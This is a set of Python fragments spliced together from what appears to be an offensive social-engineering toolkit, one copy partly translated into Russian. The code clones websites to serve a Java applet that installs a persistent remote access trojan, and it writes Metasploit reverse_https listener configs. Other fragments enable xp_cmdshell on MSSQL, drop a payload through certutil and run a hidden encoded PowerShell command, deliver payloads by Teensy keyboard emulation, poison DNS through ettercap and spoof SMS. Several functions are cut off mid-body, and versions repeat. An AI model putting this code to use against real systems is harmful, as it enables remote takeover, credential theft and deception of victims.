if not os.path.isdir(os.path.join(core.setdir + "reports")):
os.makedirs(os.path.join(core.setdir + "reports"))
with open(os.path.join(core.setdir + "/reports/teensy.pde", "w")) as filewrite:
filewrite.write(teensy)
choice = core.yesno_prompt("0", "Do you want to start a listener [yes/no]: ")
if choice == "YES":
# Open the IPADDR file
if core.check_options("IPADDR=") != 0:
ipaddr = core.check_options("IPADDR=")
else:
ipaddr = input(core.setprompt(["6"], "IP address to connect back on"))
core.update_options("IPADDR=" + ipaddr)
if core.check_options("PORT=") != 0:
port = core.check_options("PORT=")
else:
port = input("Enter the port to connect back on: ")
with open(os.path.join(core.setdir + "/metasploit.answers",
"w")) as filewrite:
filewrite.write("use multi/handler\n"
"set payload {0}\n"
"set LHOST {1}\n"
"set LPORT {2}\n"
"set AutoRunScript post/windows/manage/smart_migrate\n"
def main():
valid_site = False
valid_ip = False
valid_persistence = False
input_counter= 0
site_input_counter=0
#pause=raw_input("This module has finished completing. Press <enter> to continue")
# Get a *VALID* website address
while valid_site != True and site_input_counter < 3:
website = raw_input(core.setprompt(["9", "2"], "Enter website to clone (ex. https://gmail.com)"))
site = urlparse.urlparse(website)
if site.scheme == "http" or site.scheme == "https":
if site.netloc != "":
valid_site = True
else:
if site_input_counter == 2:
core.print_error("\nMaybe you have the address written down wrong?" + core.bcolors.ENDC)
sleep(4)
return
else:
core.print_warning("I can't determine the fqdn or IP of the site. Try again?")
site_input_counter += 1
else:
if site_input_counter == 2:
core.print_error("\nMaybe you have the address written down wrong?")
sleep(4)
return
else:
core.print_warning("I couldn't determine whether this is an http or https site. Try again?")
site_input_counter +=1
#core.DebugInfo("site.scheme is: %s " % site.scheme)
#core.DebugInfo("site.netloc is: %s " % site.netloc)
#core.DebugInfo("site.path is: %s " % site.path)
#core.DebugInfo("site.params are: %s " % site.params)
#core.DebugInfo("site.query is: %s " % site.query)
#core.DebugInfo("site.fragment is: %s " % site.fragment)
while valid_ip != True and input_counter < 3:
ipaddr = raw_input(core.setprompt(["9", "2"], "Enter the IP address to connect back on"))
valid_ip = core.validate_ip(ipaddr)
if not valid_ip:
if input_counter == 2:
core.print_error("\nMaybe you have the address written down wrong?")
sleep(4)
return
else:
input_counter += 1
#javaport must be 80, cause applet uses in web injection port 80 to download payload!
try:
javaport = int(raw_input(core.setprompt(["9", "2"], "Port Java applet should listen on [80]")))
while javaport == 0 or javaport > 65535:
if javaport == 0:
core.print_warning(text.PORT_NOT_ZERO)
if javaport > 65535:
core.print_warning(text.PORT_TOO_HIGH)
javaport = int(raw_input(core.setprompt(["9", "2"],"Port Java applet should listen on [80]")))
except ValueError:
#core.print_info("Port set to default of 80")
javaport = 80
#javaport=80
try:
ratteport = int(raw_input(core.setprompt(["9", "2"], "Port RATTE Server should listen on [8080]")))
while ratteport == javaport or ratteport == 0 or ratteport > 65535:
if ratteport == javaport:
core.print_warning("Port must not be equal to javaport!")
if ratteport == 0:
core.print_warning(text.PORT_NOT_ZERO)
if ratteport > 65535:
core.print_warning(text.PORT_TOO_HIGH)
ratteport = int(raw_input(core.setprompt(["9", "2"], "Port RATTE Server should listen on [8080]")))
except ValueError:
ratteport = 8080
persistent = core.yesno_prompt(["9","2"], "Should RATTE be persistentententent [no|yes]?")
# j0fer 06-27-2012 # while valid_persistence != True:
# j0fer 06-27-2012 # persistent=raw_input(core.setprompt(["9", "2"], "Should RATTE be persistent [no|yes]?"))
# j0fer 06-27-2012 # persistent=str.lower(persistent)
# j0fer 06-27-2012 # if persistent == "no" or persistent == "n":
# j0fer 06-27-2012 # persistent="NO"
# j0fer 06-27-2012 # valid_persistence = True
# j0fer 06-27-2012 # elif persistent == "yes" or persistent == "y":
# j0fer 06-27-2012 # persistent="YES"
# j0fer 06-27-2012 # valid_persistence = True
# j0fer 06-27-2012 # else:
# j0fer 06-27-2012 # core.print_warning(text.YES_NO_RESPONSES)
customexe=raw_input(core.setprompt(["9", "2"], "Use specifix filename (ex. firefox.exe) [filename.exe or empty]?"))
#######################################
# prepare RATTE
#######################################
prepare_ratte(ipaddr,ratteport,persistent,customexe)
######################################
# Java Applet Attack to deploy RATTE
#######################################
core.print_info("Starting java applet attack...")
java_applet_attack_tw(website,javaport, "reports/",ipaddr)
fileopen=file("%s/src/program_junk/rand_gen" % (definepath), "r")
for line in fileopen:
ratte_random = line.rstrip()
subprocess.Popen("cp %s/src/program_junk/ratteM.exe %s/reports/%s" % (definepath,definepath,ratte_random), shell=True).wait()
#######################
# start ratteserver
#######################
core.print_info("Starting ratteserver...")
ratte_listener_start(ratteport)
######################
# stop webserver
######################
stop_web_server_tw()
return
dhcp_config2 = ("""
ddns-update-style none;
authoritative;
log-facility local7;
subnet 192.168.10.0 netmask 255.255.255.0 {
range 192.168.10.100 192.168.10.254;
option domain-name-servers 8.8.8.8;
option routers 192.168.10.1;
option broadcast-address 192.168.10.255;
default-lease-time 600;
max-lease-time 7200;
}
""")
show_fakeap_dhcp_menu = setcore.CreateMenu(text.fakeap_dhcp_text, text.fakeap_dhcp_menu)
fakeap_dhcp_menu_choice = raw_input(setcore.setprompt(["8"], ""))
if fakeap_dhcp_menu_choice != "":
fakeap_dhcp_menu_choice = setcore.check_length(fakeap_dhcp_menu_choice,2)
# convert it to a string
fakeap_dhcp_menu_choice = str(fakeap_dhcp_menu_choice)
if fakeap_dhcp_menu_choice == "":
fakeap_dhcp_menu_choice = "1"
if fakeap_dhcp_menu_choice == "1":
# writes the dhcp server out
setcore.PrintStatus("Writing the dhcp configuration file to src/program_junk")
filewrite=file("src/program_junk/dhcp.conf", "w")
filewrite.write(dhcp_config1)
# close the file
def main():
valid_site = False
valid_ip = False
# valid_persistence = False
input_counter = 0
site_input_counter = 0
ipaddr = None
website = None
# pause=input("This module has finished completing. Press <enter> to continue")
# Get a *VALID* website address
while not valid_site and site_input_counter < 3:
website = input(core.setprompt(["9", "2"], "Enter website to clone (ex. https://gmail.com)"))
site = urlparse(website)
if site.scheme == "http" or site.scheme == "https":
if site.netloc != "":
valid_site = True
else:
if site_input_counter == 2:
core.print_error("\nМожет быть, вы неправильно записали адрес?" + core.bcolors.ENDC)
sleep(4)
return
else:
core.print_warning("Я не могу определить fqdn или IP сайта. Попробуй снова?")
site_input_counter += 1
else:
if site_input_counter == 2:
core.print_error("\nМожет быть, вы неправильно записали адрес?")
sleep(4)
return
else:
core.print_warning("Я не мог определить, является ли это http или https сайтом. Попробуй снова?")
site_input_counter += 1
# core.DebugInfo("site.scheme is: %s " % site.scheme)
# core.DebugInfo("site.netloc is: %s " % site.netloc)
# core.DebugInfo("site.path is: %s " % site.path)
# core.DebugInfo("site.params are: %s " % site.params)
# core.DebugInfo("site.query is: %s " % site.query)
# core.DebugInfo("site.fragment is: %s " % site.fragment)
while not valid_ip and input_counter < 3:
ipaddr = input(core.setprompt(["9", "2"], "Введите IP-адрес для подключения"))
valid_ip = core.validate_ip(ipaddr)
if not valid_ip:
if input_counter == 2:
core.print_error("\nМожет быть, вы неправильно записали адрес?")
sleep(4)
return
else:
input_counter += 1
# javaport must be 80, cause applet uses in web injection port 80 to download payload!
try:
javaport = int(input(core.setprompt(["9", "2"], "Апплет порта Java должен слушать [80]")))
while javaport == 0 or javaport > 65535:
if javaport == 0:
core.print_warning(text.PORT_NOT_ZERO)
if javaport > 65535:
core.print_warning(text.PORT_TOO_HIGH)
javaport = int(input(core.setprompt(["9", "2"], "Апплет порта Java должен слушать [80]")))
except ValueError:
# core.print_info("Port set to default of 80")
javaport = 80
try:
ratteport = int(input(core.setprompt(["9", "2"], "Сервер RATTE порта должен слушать [8080]")))
while ratteport == javaport or ratteport == 0 or ratteport > 65535:
if ratteport == javaport:
core.print_warning("Порт не должен быть равен javaport!")
if ratteport == 0:
core.print_warning(text.PORT_NOT_ZERO)
if ratteport > 65535:
core.print_warning(text.PORT_TOO_HIGH)
ratteport = int(input(core.setprompt(["9", "2"], "Сервер RATTE порта должен слушать [8080]")))
except ValueError:
ratteport = 8080
persistent = core.yesno_prompt(["9", "2"], "Должен ли RATTE быть постоянным [no|yes]?")
# j0fer 06-27-2012 # while valid_persistence != True:
# j0fer 06-27-2012 # persistent=input(core.setprompt(["9", "2"], "Should RATTE be persistent [no|yes]?"))
# j0fer 06-27-2012 # persistent=str.lower(persistent)
# j0fer 06-27-2012 # if persistent == "no" or persistent == "n":
# j0fer 06-27-2012 # persistent="NO"
# j0fer 06-27-2012 # valid_persistence = True
# j0fer 06-27-2012 # elif persistent == "yes" or persistent == "y":
# j0fer 06-27-2012 # persistent="YES"
# j0fer 06-27-2012 # valid_persistence = True
# j0fer 06-27-2012 # else:
# j0fer 06-27-2012 # core.print_warning(text.YES_NO_RESPONSES)
customexe = input(core.setprompt(["9", "2"], "Используйте конкретное имя файла (например, firefox.exe) [filename.exe или пусто]? "))
#######################################
# prepare RATTE
#######################################
prepare_ratte(ipaddr, ratteport, persistent, customexe)
######################################
# Java Applet Attack to deploy RATTE
#######################################
core.print_info("Запуск атаки Java-апплета..")
java_applet_attack_tw(website, javaport, "reports/", ipaddr)
with open(os.path.join(userconfigpath, definepath, "/rand_gen")) as fileopen:
for line in fileopen:
ratte_random = line.rstrip()
subprocess.Popen("cp %s/ratteM.exe %s/reports/%s" % (os.path.join(userconfigpath, definepath), definepath, ratte_random), shell=True).wait()
#######################
# start ratteserver
#######################
core.print_info("Стартовый ратсервер...")
ratte_listener_start(ratteport)
######################
# stop webserver
######################
stop_web_server_tw()
return
def main():
valid_site = False
valid_ip = False
valid_persistence = False
input_counter = 0
site_input_counter = 0
#pause=raw_input("This module has finished completing. Press <enter> to continue")
# Get a *VALID* website address
while valid_site != True and site_input_counter < 3:
website = raw_input(
core.setprompt(["9", "2"],
"Enter website to clone (ex. https://gmail.com)"))
site = urlparse.urlparse(website)
if site.scheme == "http" or site.scheme == "https":
if site.netloc != "":
valid_site = True
else:
if site_input_counter == 2:
core.print_error(
"\nMaybe you have the address written down wrong?" +
core.bcolors.ENDC)
sleep(4)
return
else:
core.print_warning(
"I can't determine the fqdn or IP of the site. Try again?"
)
site_input_counter += 1
else:
if site_input_counter == 2:
core.print_error(
"\nMaybe you have the address written down wrong?")
sleep(4)
return
else:
core.print_warning(
"I couldn't determine whether this is an http or https site. Try again?"
)
site_input_counter += 1
#core.DebugInfo("site.scheme is: %s " % site.scheme)
#core.DebugInfo("site.netloc is: %s " % site.netloc)
#core.DebugInfo("site.path is: %s " % site.path)
#core.DebugInfo("site.params are: %s " % site.params)
#core.DebugInfo("site.query is: %s " % site.query)
#core.DebugInfo("site.fragment is: %s " % site.fragment)
while valid_ip != True and input_counter < 3:
ipaddr = raw_input(
core.setprompt(["9", "2"],
"Enter the IP address to connect back on"))
valid_ip = core.validate_ip(ipaddr)
if not valid_ip:
if input_counter == 2:
core.print_error(
"\nMaybe you have the address written down wrong?")
sleep(4)
return
else:
input_counter += 1
#javaport must be 80, cause applet uses in web injection port 80 to download payload!
try:
javaport = int(
raw_input(
core.setprompt(["9", "2"],
"Port Java applet should listen on [80]")))
while javaport == 0 or javaport > 65535:
if javaport == 0:
core.print_warning(text.PORT_NOT_ZERO)
if javaport > 65535:
core.print_warning(text.PORT_TOO_HIGH)
javaport = int(
raw_input(
core.setprompt(["9", "2"],
"Port Java applet should listen on [80]")))
except ValueError:
#core.print_info("Port set to default of 80")
javaport = 80
#javaport=80
try:
ratteport = int(
raw_input(
core.setprompt(["9", "2"],
"Port RATTE Server should listen on [8080]")))
while ratteport == javaport or ratteport == 0 or ratteport > 65535:
if ratteport == javaport:
core.print_warning("Port must not be equal to javaport!")
if ratteport == 0:
core.print_warning(text.PORT_NOT_ZERO)
if ratteport > 65535:
core.print_warning(text.PORT_TOO_HIGH)
ratteport = int(
raw_input(
core.setprompt(
["9", "2"],
"Port RATTE Server should listen on [8080]")))
except ValueError:
ratteport = 8080
persistent = core.yesno_prompt(
["9", "2"], "Should RATTE be persistentententent [no|yes]?")
# j0fer 06-27-2012 # while valid_persistence != True:
# j0fer 06-27-2012 # persistent=raw_input(core.setprompt(["9", "2"], "Should RATTE be persistent [no|yes]?"))
# j0fer 06-27-2012 # persistent=str.lower(persistent)
# j0fer 06-27-2012 # if persistent == "no" or persistent == "n":
# j0fer 06-27-2012 # persistent="NO"
# j0fer 06-27-2012 # valid_persistence = True
# j0fer 06-27-2012 # elif persistent == "yes" or persistent == "y":
# j0fer 06-27-2012 # persistent="YES"
# j0fer 06-27-2012 # valid_persistence = True
# j0fer 06-27-2012 # else:
# j0fer 06-27-2012 # core.print_warning(text.YES_NO_RESPONSES)
customexe = raw_input(
core.setprompt([
"9", "2"
], "Use specifix filename (ex. firefox.exe) [filename.exe or empty]?"))
#######################################
# prepare RATTE
#######################################
prepare_ratte(ipaddr, ratteport, persistent, customexe)
######################################
# Java Applet Attack to deploy RATTE
#######################################
core.print_info("Starting java applet attack...")
java_applet_attack_tw(website, javaport, "reports/", ipaddr)
fileopen = file("%s/src/program_junk/rand_gen" % (definepath), "r")
for line in fileopen:
ratte_random = line.rstrip()
subprocess.Popen("cp %s/src/program_junk/ratteM.exe %s/reports/%s" %
(definepath, definepath, ratte_random),
shell=True).wait()
#######################
# start ratteserver
#######################
core.print_info("Starting ratteserver...")
ratte_listener_start(ratteport)
######################
# stop webserver
######################
stop_web_server_tw()
return
from src.core.setcore import debug_msg, mod_name
me = mod_name()
while 1:
print """
SMS Attack Menu
There are diferent attacks you can launch in the context of SMS spoofing,
select your own.
1. SMS Attack Single Phone Number
2. SMS Attack Mass SMS
99. Return to SMS Spoofing Menu\n"""
attack_option=raw_input(core.setprompt("0",""))
if attack_option == 'exit':
core.exit_set()
# exit
if attack_option == '1':
print("\nSingle SMS Attack")
to = raw_input(core.setprompt(["7"], "Send sms to"))
phones = list()
phones.append(to)
sys.path.append("src/sms/client/")
try:
# ugly but "compliant" with SET architecture
debug_msg(me,"importing 'src.sms.client.sms_launch'",1)
reload(sms_launch)
sms_launch.phones = phones
# SMBUser no The username to authenticate as
# THREADS 1 yes The number of concurrent threads
# WINPATH WINDOWS yes The name of the remote Windows directory
# msf auxiliary(psexec_command) >
# grab config options for stage encoding
stage_encoding = core.check_config("STAGE_ENCODING=").lower()
if stage_encoding == "off":
stage_encoding = "false"
else:
stage_encoding = "true"
rhosts = input(
core.setprompt(
["32"],
"Enter the IP Address or range (RHOSTS) to connect to")) # rhosts
# username for domain/workgroup
username = input(core.setprompt(["32"], "Enter the username"))
# password for domain/workgroup
password = input(core.setprompt(["32"], "Enter the password or the hash"))
domain = input(
core.setprompt(
["32"],
"Enter the domain name (hit enter for logon locally)")) # domain name
threads = input(
core.setprompt(["32"], "How many threads do you want [enter for default]"))
# if blank specify workgroup which is the default
if domain == "":
domain = "WORKGROUP"
# set the threads
def deploy_hex2binary(ipaddr, port, username, password):
# base variable used to select payload option
option = None
choice1 = "1"
conn = _mssql.connect("{0}:{1}".format(ipaddr, port),
username,
password)
core.print_status("Enabling the xp_cmdshell stored procedure...")
try:
conn.execute_query("exec master.dbo.sp_configure 'show advanced options',1;"
"GO;"
"RECONFIGURE;"
"GO;"
"exec master.dbo.sp_configure 'xp_cmdshell', 1;"
"GO;"
"RECONFIGURE;"
"GO")
except:
pass
# just throw a simple command via powershell to get the output
try:
print("""Pick which deployment method to use. The first is PowerShell and should be used on any modern operating system. The second method will use the certutil method to convert a binary to a binary.\n""")
choice = input("Enter your choice:\n\n"
"1.) Use PowerShell Injection (recommended)\n"
"2.) Use Certutil binary conversion\n\n"
"Enter your choice [1]:")
if choice == "":
choice = "1"
if choice == "1":
core.print_status("Powershell injection was selected to deploy to the remote system (awesome).")
option_ps = input("Do you want to use powershell injection? [yes/no]:")
if option_ps.lower() == "" or option_ps == "y" or option_ps == "yes":
option = "1"
core.print_status("Powershell delivery selected. Boom!")
else:
option = "2"
# otherwise, fall back to the older version using debug conversion via hex
else:
core.print_status("Powershell not selected, using debug method.")
option = "2"
except Exception as err:
print(err)
payload_filename = None
# if we don't have powershell
if option == "2":
# give option to use msf or your own
core.print_status("You can either select to use a default "
"Metasploit payload here or import your "
"own in order to deliver to the system. "
"Note that if you select your own, you "
"will need to create your own listener "
"at the end in order to capture this.\n\n")
choice1 = input("1.) Use Metasploit (default)\n"
"2.) Select your own\n\n"
"Enter your choice[1]:")
if choice1 == "":
choice1 = "1"
if choice1 == "2":
attempts = 0
while attempts <= 2:
payload_filename = input("Enter the path to your file you want to deploy to the system (ex /root/blah.exe):")
if os.path.isfile(payload_filename):
break
else:
core.print_error("File not found! Try again.")
attempts += 1
else:
core.print_error("Computers are hard. Find the path and try again. Defaulting to Metasploit payload.")
choice1 = "1"
if choice1 == "1":
web_path = None
#prep_powershell_payload()
import src.core.payloadgen.create_payloads
# if we are using a SET interactive shell payload then we need to make
# the path under web_clone versus ~./set
if os.path.isfile(os.path.join(core.setdir + "set.payload")):
web_path = os.path.join(core.setdir + "web_clone")
# then we are using metasploit
else:
if operating_system == "posix":
web_path = core.setdir
# if it isn't there yet
if not os.path.isfile(core.setdir + "1msf.exe"):
# move it then
subprocess.Popen("cp %s/msf.exe %s/1msf.exe" %
(core.setdir, core.setdir), shell=True).wait()
subprocess.Popen("cp %s/1msf.exe %s/ 1> /dev/null 2> /dev/null" %
(core.setdir, core.setdir), shell=True).wait()
subprocess.Popen("cp %s/msf2.exe %s/msf.exe 1> /dev/null 2> /dev/null" %
(core.setdir, core.setdir), shell=True).wait()
payload_filename = os.path.join(web_path + "1msf.exe")
with open(payload_filename, "rb") as fileopen:
# read in the binary
data = fileopen.read()
# convert the binary to hex
data = binascii.hexlify(data)
# we write out binary out to a file
with open(os.path.join(core.setdir + "payload.hex"), "w") as filewrite:
filewrite.write(data)
if choice1 == "1":
# if we are using metasploit, start the listener
if not os.path.isfile(os.path.join(core.setdir + "set.payload")):
if operating_system == "posix":
try:
core.module_reload(pexpect)
except:
import pexpect
core.print_status("Starting the Metasploit listener...")
msf_path = core.meta_path()
child2 = pexpect.spawn("{0} -r {1}\r\n\r\n".format(os.path.join(core.meta_path() + "msfconsole"),
os.path.join(core.setdir + "meta_config")))
# random executable name
random_exe = core.generate_random_string(10, 15)
#
# next we deploy our hex to binary if we selected option 1 (powershell)
#
if option == "1":
core.print_status("Using universal powershell x86 process downgrade attack..")
payload = "x86"
# specify ipaddress of reverse listener
ipaddr = core.grab_ipaddress()
core.update_options("IPADDR=" + ipaddr)
port = input(core.setprompt(["29"], "Enter the port for the reverse [443]"))
if not port:
port = "443"
core.update_options("PORT={0}".format(port))
core.update_options("POWERSHELL_SOLO=ON")
core.print_status("Prepping the payload for delivery and injecting alphanumeric shellcode...")
#with open(os.path.join(core.setdir + "/payload_options.shellcode"), "w") as filewrite:
# format needed for shellcode generation
filewrite = file(core.setdir + "/payload_options.shellcode", "w")
filewrite.write("windows/meterpreter/reverse_https {0},".format(port))
filewrite.close()
try:
core.module_reload(src.payloads.powershell.prep)
except:
import src.payloads.powershell.prep
# launch powershell
#prep_powershell_payload()
# create the directory if it does not exist
if not os.path.isdir(os.path.join(core.setdir + "reports/powershell")):
os.makedirs(os.path.join(core.setdir + "reports/powershell"))
#with open(os.path.join(core.setdir + "x86.powershell")) as x86:
x86 = file(core.setdir + "x86.powershell").read().rstrip()
# x86 = x86.read()
x86 = "powershell -nop -window hidden -noni -e {0}".format(x86)
core.print_status("If you want the powershell commands and attack, "
"they are exported to {0}".format(os.path.join(core.setdir + "reports/powershell")))
filewrite = open(core.setdir + "/reports/powershell/x86_powershell_injection.txt", "w")
filewrite.write(x86)
filewrite.close()
# if our payload is x86 based - need to prep msfconsole rc
if payload == "x86":
powershell_command = x86
# powershell_dir = core.setdir + "/reports/powershell/x86_powershell_injection.txt"
#with open(os.path.join(core.setdir + "reports/powershell/powershell.rc"), "w") as filewrite:
filewrite = open(core.setdir + "reports/powershell/powershell.rc", "w")
filewrite.write("use multi/handler\n"
"set payload windows/meterpreter/reverse_https\n"
"set lport {0}\n"
"set LHOST 0.0.0.0\n"
"exploit -j".format(port))
filewrite.close()
else:
powershell_command = None
# grab the metasploit path from config or smart detection
msf_path = core.meta_path()
if operating_system == "posix":
try:
core.module_reload(pexpect)
except:
import pexpect
core.print_status("Starting the Metasploit listener...")
child2 = pexpect.spawn("{0} -r {1}".format(os.path.join(msf_path + "msfconsole"),
os.path.join(core.setdir + "reports/powershell/powershell.rc")))
core.print_status("Waiting for the listener to start first before we continue forward...")
core.print_status("Be patient, Metasploit takes a little bit to start...")
#child2.expect("Starting the payload handler", timeout=30000)
child2.expect("Processing", timeout=30000)
core.print_status("Metasploit started... Waiting a couple more seconds for listener to activate..")
time.sleep(5)
# assign random_exe command to the powershell command
random_exe = powershell_command
#
# next we deploy our hex to binary if we selected option 2 (debug)
#
if option == "2":
# here we start the conversion and execute the payload
core.print_status("Sending the main payload via to be converted back to a binary.")
# read in the file 900 bytes at a time
#with open(os.path.join(core.setdir + 'payload.hex'), 'r') as fileopen:
fileopen = open(core.setdir + 'payload.hex', "r")
core.print_status("Dropping initial begin certificate header...")
conn.execute_query("exec master ..xp_cmdshell 'echo -----BEGIN CERTIFICATE----- > {0}.crt'".format(random_exe))
while fileopen:
data = fileopen.read(900).rstrip()
#for data in fileopen.read(900).rstrip():
if data == "":
break
core.print_status("Deploying payload to victim machine (hex): {bold}{data}{endc}\n".format(bold=core.bcolors.BOLD,
data=data,
endc=core.bcolors.ENDC))
conn.execute_query("exec master..xp_cmdshell 'echo {data} >> {exe}.crt'".format(data=data,
exe=random_exe))
core.print_status("Delivery complete. Converting hex back to binary format.")
core.print_status("Dropping end header for binary format conversion...")
conn.execute_query("exec master ..xp_cmdshell 'echo -----END CERTIFICATE----- >> {0}.crt'".format(random_exe))
core.print_status("Converting hex binary back to hex using certutil - Matthew Graeber man crush enabled.")
conn.execute_query("exec master..xp_cmdshell 'certutil -decode {0}.crt {0}.exe'".format(random_exe))
core.print_status("Executing the payload - magic has happened and now its time for that moment.. "
"You know. When you celebrate. Salute to you ninja - you deserve it.")
conn.execute_query("exec master..xp_cmdshell '{0}.exe'".format(random_exe))
# if we are using SET payload
if choice1 == "1":
if os.path.isfile(os.path.join(core.setdir + "set.payload")):
core.print_status("Spawning separate child process for listener...")
try:
shutil.copyfile(os.path.join(core.setdir + "web_clone/x"), definepath)
except:
pass
# start a threaded webserver in the background
subprocess.Popen("python src/html/fasttrack_http_server.py", shell=True)
# grab the port options
# if core.check_options("PORT=") != 0:
# port = core.heck_options("PORT=")
#
# # if for some reason the port didnt get created we default to 443
# else:
# port = "443"
# thread is needed here due to the connect not always terminating thread,
# it hangs if thread isnt specified
try:
core.module_reload(thread)
except:
import thread
# execute the payload
# we append more commands if option 1 is used
if option == "1":
core.print_status("Triggering the powershell injection payload... ")
sql_command = ("exec master..xp_cmdshell '{0}'".format(powershell_command))
thread.start_new_thread(conn.execute_query, (sql_command,))
# using the old method
if option == "2":
core.print_status("Triggering payload stager...")
alphainject = ""
if os.path.isfile(os.path.join(core.setdir + "meterpreter.alpha")):
with open(os.path.join(core.setdir + "meterpreter.alpha")) as fileopen:
alphainject = fileopen.read()
sql_command = ("xp_cmdshell '{0}.exe {1}'".format(random_exe, alphainject))
# start thread of SQL command that executes payload
thread.start_new_thread(conn.execute_query, (sql_command,))
time.sleep(1)
# if pexpect doesnt exit right then it freaks out
if choice1 == "1":
if os.path.isfile(os.path.join(core.setdir + "set.payload")):
os.system("python ../../payloads/set_payloads/listener.py")
try:
# interact with the child process through pexpect
child2.interact()
try:
os.remove("x")
except:
pass
except:
pass
#!/usr/bin/env python
# coding=utf-8
import subprocess
import src.core.setcore as core
#
# Simple python script to kill things created by the SET wifi attack vector
#
interface = input(core.setprompt(["8"], "Enter your wireless interface (ex: wlan0): "))
# fix a bug if present
core.print_status("Attempting to set rfkill to unblock all if RTL is in use. Ignore errors on this.")
subprocess.Popen("rmmod rtl8187;"
"rfkill block all;"
"rfkill unblock all;"
"modprobe rtl8187;"
"rfkill unblock all;"
"ifconfig {0} up".format(interface),
shell=True).wait()
core.print_status("Killing airbase-ng...")
subprocess.Popen("killall airbase-ng", shell=True).wait()
core.print_status("Killing dhcpd3 and dhclient3...")
subprocess.Popen("killall dhcpd3", shell=True).wait()
subprocess.Popen("killall dhclient3", shell=True).wait()
core.print_status("Killing dnsspoof...")
subprocess.Popen("killall dnsspoof", shell=True).wait()
def main():
#pause=raw_input("This module has finished completing. Press <enter> to continue")
website = raw_input(core.setprompt(["9", "2"], "Enter website to clone (ex. https://gmail.com)"))
ipaddr = raw_input(core.setprompt(["9", "2"], "Enter the IP address to connect back on"))
#javaport must be 80, cause applet uses in web injection port 80 to download payload!
try:
javaport = int(raw_input(core.setprompt(["9", "2"], "Port java applet should listen on (ex. 443)")))
while javaport == 0 or javaport > 65535:
javaport = int(raw_input(core.setprompt(["9", "2"],"Enter port java applet should listen on")))
except ValueError:
javaport = 80
#javaport=80
try:
ratteport = int(raw_input(core.setprompt(["9", "2"], "Port RATTE Server should listen on")))
while ratteport == javaport or ratteport == 0 or ratteport > 65535:
core.PrintWarning("Port must not be equal to javaport!")
ratteport = int(raw_input(core.setprompt(["9", "2"], "Port RATTE Server should listen on")))
except ValueError:
ratteport = 8080
persistent=raw_input(core.setprompt(["9", "2"], "Should RATTE be persistent [no|yes]?"))
if persistent == "no" or persistent == "" or persistent == "n":
persistent="NO"
else:
persistent="YES"
customexe=raw_input(core.setprompt(["9", "2"], "Use specifix filename (ex. firefox.exe) [filename.exe or empty]?"))
#if persistent == "no" or persistent == "" or persistent == "n":
# persistent="NO"
#else:
# persistent="YES"
#######################################
# prepare RATTE
#######################################
prepare_ratte(ipaddr,ratteport,persistent,customexe)
######################################
# Java Applet Attack to deploy RATTE
#######################################
core.PrintInfo("Starting java applet attack...")
java_applet_attack_tw(website,javaport, "reports/",ipaddr)
fileopen=file("%s/src/program_junk/rand_gen" % (definepath), "r")
for line in fileopen:
ratte_random = line.rstrip()
subprocess.Popen("cp %s/src/program_junk/ratteM.exe %s/reports/%s" % (definepath,definepath,ratte_random), shell=True).wait()
#######################
# start ratteserver
#######################
core.PrintInfo("Starting ratteserver...")
ratte_listener_start(ratteport)
######################
# stop webserver
######################
stop_web_server_tw()
you to have a Teensy device with a soldered USB device on it and place the
file that this tool outputs in order to successfully complete the task.
It works by reading natively off the SDCard into a buffer space thats then
written out through the keyboard.
""")
# if we hit here we are good since msfvenom is installed
print("""
.-. .-. . . .-. .-. .-. .-. .-. . . .-. .-. .-.
|.. |-| |\| |.. `-. | |- |( |\/| | | | )|-
`-' ` ' ' ` `-' `-' ' `-' ' ' ' ` `-' `-' `-'
enabled.\n""")
# grab the path and filename from user
path = input(core.setprompt(["6"], "Path to the file you want deployed on the teensy SDCard"))
if not os.path.isfile(path):
while True:
core.print_warning("Filename not found, try again")
path = input(core.setprompt(["6"], "Path to the file you want deployed on the teensy SDCard"))
if os.path.isfile(path):
break
core.print_warning("Note: This will only deliver the payload, you are in charge of creating the listener if applicable.")
core.print_status("Converting the executable to a hexadecimal form to be converted later...")
with open(path, "rb") as fileopen:
data = fileopen.read()
data = binascii.hexlify(data)
with open("converts.txt", "w") as filewrite:
filewrite.write(data)
etterpath=re.search("ETTERCAP_PATH=", line)
if etterpath:
line=line.rstrip()
path=line.replace("ETTERCAP_PATH=", "")
if not os.path.isfile(path):
path = ("/usr/local/share/ettercap")
# if we are using ettercap then get everything ready
if ettercapchoice== 'y':
# grab ipaddr
if check_options("IPADDR=") != 0:
ipaddr = check_options("IPADDR=")
else:
ipaddr = raw_input(setcore.setprompt("0", "IP address to connect back on: "))
update_options("IPADDR=" + ipaddr)
if ettercapchoice == 'y':
try:
print """
This attack will poison all victims on your local subnet, and redirect them
when they hit a specific website. The next prompt will ask you which site you
will want to trigger the DNS redirect on. A simple example of this is if you
wanted to trigger everyone on your subnet to connect to you when they go to
browse to www.google.com, the victim would then be redirected to your malicious
site. You can alternatively poison everyone and everysite by using the wildcard
'*' flag.
IF YOU WANT TO POISON ALL DNS ENTRIES (DEFAULT) JUST HIT ENTER OR *
"""
"the account. SET will then handle the rest.\n")
print("In order for this to work you must have an account over at spoofmytextmessage.com\n")
print("Special thanks to Khalil @sehnaoui for testing out the service for me and finding "
"spoofmytextmessage.com\n")
core.print_error("DISCLAIMER: By submitting yes, you understand that you accept all terms and "
"services from spoofmytextmessage.com and you are fully aware of your countries "
"legal stance on SMS spoofing prior to performing any of these. By accepting yes "
"you fully acknowledge these terms and will not use them for unlawful purposes.")
message = input("\nDo you accept these terms (yes or no): ")
if message == "yes":
core.print_status("Okay! Moving on - SET needs some information from you in order to spoof the message.")
email = input(core.setprompt(["7"], "Enter your email address for the spoofmytextmessage.com account"))
pw = input(core.setprompt(["7"], "Enter your password for the spoofmytextmessage.com account"))
core.print_status("The next section requires a country code, this is the code you would use to dial "
"to the specific country, for example if I was sending a message to 555-555-5555 to "
"the United States (or from) you would enter +1 below.")
tocountry = input(core.setprompt(["7"], "Enter the country code for the number you are sending TO "
"(for example U.S would be '+1')[+1]"))
if tocountry == "":
tocountry = "+1"
fromcountry = input(core.setprompt(["7"], "Enter the country code for the number you are sending FROM "
"(for example U.S. would be '+1')[+1]"))
if fromcountry == "":
fromcountry = "+1"
def launch():
while 1:
print("""
1. Pre-Defined Template
2. One-Time Use SMS
99. Cancel and return to SMS Spoofing Menu
""")
template_choice = raw_input(
core.setprompt(
["7"], "Use a predefined template or craft a one time SMS?"))
# if predefined template go here
if template_choice == '1':
# set path for
path = 'src/templates/sms/'
filewrite = file(setdir + "/sms.templates", "w")
counter = 0
# Pull all files in the templates directory
for infile in glob.glob(os.path.join(path, '*.template')):
infile = infile.split("/")
# grab just the filename
infile = infile[3]
counter = counter + 1
# put it in a format we can use later in a file
